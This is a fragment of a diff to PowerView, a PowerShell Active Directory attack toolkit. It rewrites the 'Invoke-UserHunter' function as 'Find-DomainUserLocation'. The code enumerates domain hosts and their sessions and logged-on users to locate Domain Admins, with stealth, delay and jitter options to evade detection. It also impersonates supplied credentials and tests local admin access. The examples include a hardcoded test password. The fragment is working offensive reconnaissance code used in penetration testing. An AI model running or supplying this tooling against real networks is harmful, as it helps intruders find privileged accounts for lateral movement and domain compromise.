+Switch. Only enumerate sessions from connonly used target servers.
- .EXAMPLE
+.PARAMETER StealthSource
- PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt
+The source of target servers to use, 'DFS' (distributed file servers),
+'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
- Finds machines in hosts.txt where any members of users.txt are logged in
- or have sessions.
+.PARAMETER Threads
- .EXAMPLE
+The number of threads to use for user searching, defaults to 20.
- PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60
+.EXAMPLE
- Find machines on the domain where members of the "Power Users" groups are
- logged into with a 60 second (+/- *.3) randomized delay between
- touching each host.
+Find-DomainUserLocation
- .EXAMPLE
+Searches for 'Domain Admins' by enumerating every computer in the domain.
- PS C:\> Invoke-UserHunter -TargetServer FILESERVER
+.EXAMPLE
- Query FILESERVER for useres who are effective local administrators using
- Get-NetLocalGroup -Recurse, and hunt for that user set on the network.
+Find-DomainUserLocation -Stealth -ShowAll
- .EXAMPLE
+Enumerates likely highly-trafficked servers, performs just session enumeration
+against each, and outputs all results.
- PS C:\> Invoke-UserHunter -SearchForest
+.EXAMPLE
- Find all machines in the current forest where domain admins are logged in.
+Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
- .EXAMPLE
+Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
+users in dev.testlab.local.
- PS C:\> Invoke-UserHunter -Stealth
+.EXAMPLE
- Executes old Invoke-StealthUserHunter functionality, enumerating commonly
- used servers and checking just sessions for each.
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Find-DomainUserLocation -Domain testlab.local -Credential $Cred
- .EXAMPLE
+Searches for domain admin locations in the testlab.local using the specified alternate credentials.
- PS C:\> Invoke-UserHunter -Stealth -StealthSource DC -Poll 3600 -Delay 5 -ShowAll | ? { ! $_.UserName.EndsWith('$') }
+.OUTPUTS
- Poll Domain Controllers in parallel for sessions for an hour, waiting five
- seconds before querying each DC again and filtering out computer accounts.
-
- .LINK
- http://blog.harmj0y.net
+PowerView.UserLocation
#>
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [Alias('Hosts')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.UserLocation')]
+ [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DNSHostName')]
[String[]]
$ComputerName,
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFile,
+ $ComputerDomain,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFilter,
+ $ComputerLDAPFilter,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerADSpath,
+ $ComputerSearchBase,
+ [Alias('Unconstrained')]
[Switch]
- $Unconstrained,
+ $ComputerUnconstrained,
+ [ValidateNotNullOrEmpty()]
+ [Alias('OperatingSystem')]
[String]
- $GroupName = 'Domain Admins',
+ $ComputerOperatingSystem,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ServicePack')]
[String]
- $TargetServer,
+ $ComputerServicePack,
+ [ValidateNotNullOrEmpty()]
+ [Alias('SiteName')]
[String]
- $UserName,
+ $ComputerSiteName,
+ [Parameter(ParameterSetName = 'UserIdentity')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $UserIdentity,
+
+ [ValidateNotNullOrEmpty()]
[String]
- $UserFilter,
+ $UserDomain,
+ [ValidateNotNullOrEmpty()]
[String]
- $UserADSpath,
+ $UserLDAPFilter,
- [ValidateScript({Test-Path -Path $_ })]
+ [ValidateNotNullOrEmpty()]
[String]
- $UserFile,
+ $UserSearchBase,
+ [Parameter(ParameterSetName = 'UserGroupIdentity')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('GroupName', 'Group')]
+ [String[]]
+ $UserGroupIdentity = 'Domain Admins',
+
+ [Alias('AdminCount')]
[Switch]
- $AdminCount,
+ $UserAdminCount,
+ [Alias('AllowDelegation')]
[Switch]
- $AllowDelegation,
+ $UserAllowDelegation,
[Switch]
$CheckAccess,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
[Switch]
- $StopOnSuccess,
+ $Tombstone,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
- $NoPing,
+ $StopOnSuccess,
- [UInt32]
+ [ValidateRange(1, 10000)]
+ [Int]
$Delay = 0,
+ [ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
- [String]
- $Domain,
-
- [String]
- $DomainController,
-
+ [Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
- $SearchForest,
-
- [Switch]
$Stealth,
[String]
- [ValidateSet("DFS","DC","File","All")]
- $StealthSource ="All",
-
- [Switch]
- $ForeignUsers,
+ [ValidateSet('DFS', 'DC', 'File', 'All')]
+ $StealthSource = 'All',
[Int]
- [ValidateRange(1,100)]
- $Threads,
-
- [UInt32]
- $Poll = 0
+ [ValidateRange(1, 100)]
+ $Threads = 20
)
- begin {
-
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
-
- Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay"
-
- #####################################################
- #
- # First we build the host target set
- #
- #####################################################
-
- if($ComputerFile) {
- # if we're using a host list, read the targets in and add them to the target list
- $ComputerName = Get-Content -Path $ComputerFile
+ BEGIN {
+
+ $ComputerSearcherArguments = @{
+ 'Properties' = 'dnshostname'
+ }
+ if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
+ if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
+ if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
+ if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
+ if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
+ if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
+ if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
+ if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
+
+ $UserSearcherArguments = @{
+ 'Properties' = 'samaccountname'
+ }
+ if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
+ if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
+ if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
+ if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
+ if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
+ if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
+ if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
+
+ $TargetComputers = @()
+
+ # first, build the set of computers to enumerate
+ if ($PSBoundParameters['ComputerName']) {
+ $TargetComputers = @($ComputerName)
}
-
- if(!$ComputerName) {
- [Array]$ComputerName = @()
-
- if($Domain) {
- $TargetDomains = @($Domain)
- }
- elseif($SearchForest) {
- # get ALL the domains in the forest to search
- $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
- }
- else {
- # use the local domain
- $TargetDomains = @( (Get-NetDomain).name )
- }
-
- if($Stealth) {
- Write-Verbose "Stealth mode! Enumerating commonly used servers"
- Write-Verbose "Stealth source: $StealthSource"
-
- ForEach ($Domain in $TargetDomains) {
- if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) {
- Write-Verbose "[*] Querying domain $Domain for File Servers..."
- $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController
- }
- if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) {
- Write-Verbose "[*] Querying domain $Domain for DFS Servers..."
- $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName}
- }
- if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) {
- Write-Verbose "[*] Querying domain $Domain for Domain Controllers..."
- $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname}
- }
+ else {
+ if ($PSBoundParameters['Stealth']) {
+ Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
+ $TargetComputerArrayList = New-Object System.Collections.ArrayList
+
+ if ($StealthSource -match 'File|All') {
+ Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
+ $FileServerSearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
+ if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
+ if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
+ $FileServers = Get-DomainFileServer @FileServerSearcherArguments
+ if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
+ $TargetComputerArrayList.AddRange( $FileServers )
}
- }
- else {
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for hosts"
-
- $Arguments = @{
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'ADSpath' = $ADSpath
- 'Filter' = $ComputerFilter
- 'Unconstrained' = $Unconstrained
+ if ($StealthSource -match 'DFS|All') {
+ Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
+ # # TODO: fix the passed parameters to Get-DomainDFSShare
+ # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
+ }
+ if ($StealthSource -match 'DC|All') {
+ Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
+ $DCSearcherArguments = @{
+ 'LDAP' = $True
}
-
- $ComputerName += Get-NetComputer @Arguments
+ if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
+ if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
+ $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
+ if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
+ $TargetComputerArrayList.AddRange( $DomainControllers )
}
+ $TargetComputers = $TargetComputerArrayList.ToArray()
}
-
- # remove any null target hosts, uniquify the list and shuffle it
- $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
- if($($ComputerName.Count) -eq 0) {
- throw "No hosts found!"
+ else {
+ Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
+ $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
}
-
- if ($Poll -gt 0) {
- Write-Verbose "[*] Polling for $Poll seconds. Automatically enabling threaded mode."
- if ($ComputerName.Count -gt 100) {
- throw "Too many hosts to poll! Try fewer than 100."
- }
- $Threads = $ComputerName.Count
+ Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
+ if ($TargetComputers.Length -eq 0) {
+ throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
- #####################################################
- #
- # Now we build the user target set
- #
- #####################################################
-
- # users we're going to be searching for
- $TargetUsers = @()
-
# get the current user so we can ignore it in the results
- $CurrentUser = ([Environment]::UserName).toLower()
-
- # if we're showing all results, skip username enumeration
- if($ShowAll -or $ForeignUsers) {
- $User = New-Object PSObject
- $User | Add-Member Noteproperty 'MemberDomain' $Null
- $User | Add-Member Noteproperty 'MemberName' '*'
- $TargetUsers = @($User)
-
- if($ForeignUsers) {
- # if we're searching for user results not in the primary domain
- $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4
- $DomainShortName = $krbtgtName.split("\")[0]
- }
- }
- # if we want to hunt for the effective domain users who can access a target server
- elseif($TargetServer) {
- Write-Verbose "Querying target server '$TargetServer' for local users"
- $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
- $User = New-Object PSObject
- $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower()
- $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower()
- $User
- } | Where-Object {$_}
+ if ($PSBoundParameters['Credential']) {
+ $CurrentUser = $Credential.GetNetworkCredential().UserName
}
- # if we get a specific username, only use that
- elseif($UserName) {
- Write-Verbose "[*] Using target user '$UserName'..."
- $User = New-Object PSObject
- if($TargetDomains) {
- $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
- }
- else {
- $User | Add-Member Noteproperty 'MemberDomain' $Null
- }
- $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower()
- $TargetUsers = @($User)
- }
- # read in a target user list if we have one
- elseif($UserFile) {
- $TargetUsers = Get-Content -Path $UserFile | ForEach-Object {
- $User = New-Object PSObject
- if($TargetDomains) {
- $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0]
- }
- else {
- $User | Add-Member Noteproperty 'MemberDomain' $Null
- }
- $User | Add-Member Noteproperty 'MemberName' $_
- $User
- } | Where-Object {$_}
+ else {
+ $CurrentUser = ([Environment]::UserName).ToLower()
}
- elseif($UserADSpath -or $UserFilter -or $AdminCount) {
- ForEach ($Domain in $TargetDomains) {
-
- $Arguments = @{
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'ADSpath' = $UserADSpath
- 'Filter' = $UserFilter
- 'AdminCount' = $AdminCount
- 'AllowDelegation' = $AllowDelegation
- }
-
- Write-Verbose "[*] Querying domain $Domain for users"
- $TargetUsers += Get-NetUser @Arguments | ForEach-Object {
- $User = New-Object PSObject
- $User | Add-Member Noteproperty 'MemberDomain' $Domain
- $User | Add-Member Noteproperty 'MemberName' $_.samaccountname
- $User
- } | Where-Object {$_}
- }
+ # now build the user target set
+ if ($PSBoundParameters['ShowAll']) {
+ $TargetUsers = @()
+ }
+ elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
+ $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
- $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController
+ $GroupSearcherArguments = @{
+ 'Identity' = $UserGroupIdentity
+ 'Recurse' = $True
}
+ if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
+ if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
+ if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
+ $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
- if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
- throw "[!] No users found to search for!"
+ Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
+ if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
+ throw '[Find-DomainUserLocation] No users found to target'
}
- # script block that enumerates a server
+ # the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
- param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, $Poll, $Delay, $Jitter)
-
- # optionally check if the server is up first
- $Up = $True
- if($Ping) {
- $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
- }
- if($Up) {
- $Timer = [System.Diagnostics.Stopwatch]::StartNew()
- $RandNo = New-Object System.Random
-
- Do {
- if(!$DomainShortName) {
- # if we're not searching for foreign users, check session information
- $Sessions = Get-NetSession -ComputerName $ComputerName
- ForEach ($Session in $Sessions) {
- $UserName = $Session.sesi10_username
- $CName = $Session.sesi10_cname
-
- if($CName -and $CName.StartsWith("\\")) {
- $CName = $CName.TrimStart("\")
- }
+ Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
+
+ if ($TokenHandle) {
+ # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
+ $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
+ }
- # make sure we have a result
- if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) {
+ ForEach ($TargetComputer in $ComputerName) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
+ if ($Up) {
+ $Sessions = Get-NetSession -ComputerName $TargetComputer
+ ForEach ($Session in $Sessions) {
+ $UserName = $Session.UserName
+ $CName = $Session.CName
- $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
+ if ($CName -and $CName.StartsWith('\\')) {
+ $CName = $CName.TrimStart('\')
+ }
- $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
- $FoundUser = New-Object PSObject
- $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain
- $FoundUser | Add-Member Noteproperty 'UserName' $UserName
- $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
- $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
- $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
+ # make sure we have a result, and ignore computer$ sessions
+ if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
- # Try to resolve the DNS hostname of $Cname
- try {
- $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
- $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
- }
- catch {
- $FoundUser | Add-Member NoteProperty 'SessionFromName' $Null
- }
+ if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
+ $UserLocation = New-Object PSObject
+ $UserLocation | Add-Member Noteproperty 'UserDomain' $Null
+ $UserLocation | Add-Member Noteproperty 'UserName' $UserName
+ $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
+ $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
- # see if we're checking to see if we have local admin access on this machine
- if ($CheckAccess) {
- $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
- }
- else {
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
- }
- $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
- $FoundUser
+ # try to resolve the DNS hostname of $Cname
+ try {
+ $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
+ $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
+ }
+ catch {
+ $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
+ }
+
+ # see if we're checking to see if we have local admin access on this machine
+ if ($CheckAccess) {
+ $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
+ $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
+ else {
+ $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
+ }
+ $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
+ $UserLocation
}
}
}
- if(!$Stealth) {
+ if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
- $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName
+ $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
- $UserName = $User.wkui1_username
- # TODO: translate domain to authoratative name
- # then match domain name ?
- $UserDomain = $User.wkui1_logon_domain
+ $UserName = $User.UserName
+ $UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
+ if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
+ $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
+ $UserLocation = New-Object PSObject
+ $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain
+ $UserLocation | Add-Member Noteproperty 'UserName' $UserName
+ $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
+ $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress
+ $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null
+ $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null
- $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object {
-
- $Proceed = $True
- if($DomainShortName) {
- if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) {
- $Proceed = $True
- }
- else {
- $Proceed = $False
- }
+ # see if we're checking to see if we have local admin access on this machine
+ if ($CheckAccess) {
+ $Admin = Test-AdminAccess -ComputerName $TargetComputer
+ $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
- if($Proceed) {
- $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
- $FoundUser = New-Object PSObject
- $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
- $FoundUser | Add-Member Noteproperty 'UserName' $UserName
- $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
- $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
- $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
- $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null
-
- # see if we're checking to see if we have local admin access on this machine
- if ($CheckAccess) {
- $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
- }
- else {
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
- }
- $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
- $FoundUser
+ else {
+ $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
+ $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
+ $UserLocation
}
}
}
}
+ }
+ }
- if ($Poll -gt 0) {
- Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
- }
- } While ($Poll -gt 0 -and $Timer.Elapsed.TotalSeconds -lt $Poll)
+ if ($TokenHandle) {
+ Invoke-RevertToSelf
}
}
- }
-
- process {
-
- if($Threads) {
- Write-Verbose "Using threading with threads = $Threads"
- # if we're using threading, kick off the script block with Invoke-ThreadedFunction
- $ScriptParams = @{
- 'Ping' = $(-not $NoPing)
- 'TargetUsers' = $TargetUsers
- 'CurrentUser' = $CurrentUser
- 'Stealth' = $Stealth
- 'DomainShortName' = $DomainShortName
- 'Poll' = $Poll
- 'Delay' = $Delay
- 'Jitter' = $Jitter
+ $LogonToken = $Null
+ if ($PSBoundParameters['Credential']) {
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
+ }
+ else {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
-
- # kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
+ }
- else {
- if(-not $NoPing -and ($ComputerName.count -ne 1)) {
- # ping all hosts in parallel
- $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
- $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
- }
+ PROCESS {
+ # only ignore threading if -Delay is passed
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
- Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
+ Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)"
+ Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
- ForEach ($Computer in $ComputerName) {
-
+ ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
- Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName, 0, 0, 0
- $Result
+ Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))"
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken
- if($Result -and $StopOnSuccess) {
- Write-Verbose "[*] Target user found, returning early"
+ if ($Result -and $StopOnSuccess) {
+ Write-Verbose "[Find-DomainUserLocation] Target user found, returning early"
return
}
}
}
+ else {
+ Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads"
+ Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
- }
-}
-
+ # if we're using threading, kick off the script block with New-ThreadedFunction
+ $ScriptParams = @{
+ 'TargetUsers' = $TargetUsers
+ 'CurrentUser' = $CurrentUser
+ 'Stealth' = $Stealth
+ 'TokenHandle' = $LogonToken
+ }
-function Invoke-StealthUserHunter {
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [Alias('Hosts')]
- [String[]]
- $ComputerName,
+ # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
+ New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
+ }
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
- [String]
- $ComputerFile,
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
+ }
+}
- [String]
